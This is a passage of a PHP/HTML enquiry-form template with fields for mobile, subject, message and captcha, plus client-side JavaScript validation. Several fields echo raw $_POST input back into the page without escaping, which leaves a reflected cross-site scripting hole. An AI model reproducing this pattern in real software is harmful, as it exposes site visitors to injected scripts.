value="<?=$_POST['enquiry_mobile']?>" <? } ?> maxlength="15"> <label class="mdl-textfield__label" for="enquiry_mobile">Mobile</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_subject" id="enquiry_subject" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_subject']?>" <? } ?> maxlength="100"> <label class="mdl-textfield__label" for="enquiry_subject">Enquiry For</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <textarea class="mdl-textfield__input" rows="4" name="enquiry_detail" id="enquiry_detail"><?php if($clrerr=="red"){ ?><?=$_POST['enquiry_detail']?><? } ?></textarea> <label class="mdl-textfield__label" for="enquiry_detail">Message</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="captcha" maxlength="4" autocomplete="off" id="security_code"> <label class="mdl-textfield__label" for="captcha">Captcha</label> <img src="<?=$site_url?>/amitabhcaptcha.php" class="vam" width="60" height="31" alt="Captcha" /> </div> </div> </div> <div class="row"> <div class="col-md-12"> <input type="submit" value="Submit" name="EnqSubmit" class="mdl-button mdl-button--raised mdl-button--accent"/> </div> </div> </form> </div> </div> </div> </div> </div> <? //} ?> <script type="text/javascript"> function EnqValidation(){ function trim(str){ return str.replace(/^\s*|\s*$/g,''); } if(trim(document.getElementById('enquiry_name').value)==0){ alert("Enter Your Name !"); document.getElementById('enquiry_name').focus(); return false; } if (!document.getElementById('enquiry_name').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)) { alert("Please enter only alphabets !"); document.getElementById('enquiry_name').value=''; document.getElementById('enquiry_name').focus(); return false; } var email=trim(document.getElementById('enquiry_email').value); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if(email=='') { alert('Please Enter Email Id'); document.getElementById('enquiry_email').focus(); return false; }else if(!email.match(mailformat)){ alert("You have entered an invalid email address!"); document.getElementById('enquiry_email').focus(); return false; } var mobno=trim(document.getElementById('enquiry_mobile').value); if(trim(document.getElementById('enquiry_mobile').value)==0){ alert("Enter your mobile no.!"); document.getElementById('enquiry_mobile').focus(); return false; } if(isNaN(document.getElementById('enquiry_mobile').value)){ alert("Mobile no. should be no.!"); document.getElementById('enquiry_mobile').focus(); return false; } if(mobno.length < 10){ alert("Mobile no. should be 10 digit long !"); document.getElementById('enquiry_mobile').focus(); return false; } if(trim(document.getElementById('enquiry_subject').value)==0){ alert("Enter your enquiry subject !"); document.getElementById('enquiry_subject').focus(); return false; } if(trim(document.getElementById('enquiry_detail').value)==0){ alert("Enter your enquiry detail !"); document.getElementById('enquiry_detail').focus(); return false; } if(trim(document.getElementById('security_code').value)==0){ alert("Enter security code !"); document.getElementById('security_code').focus(); return false; } } </script> <script src="<?=$site_url?>/js/lightbox.js"></script> <?php include("site-footer.php");?>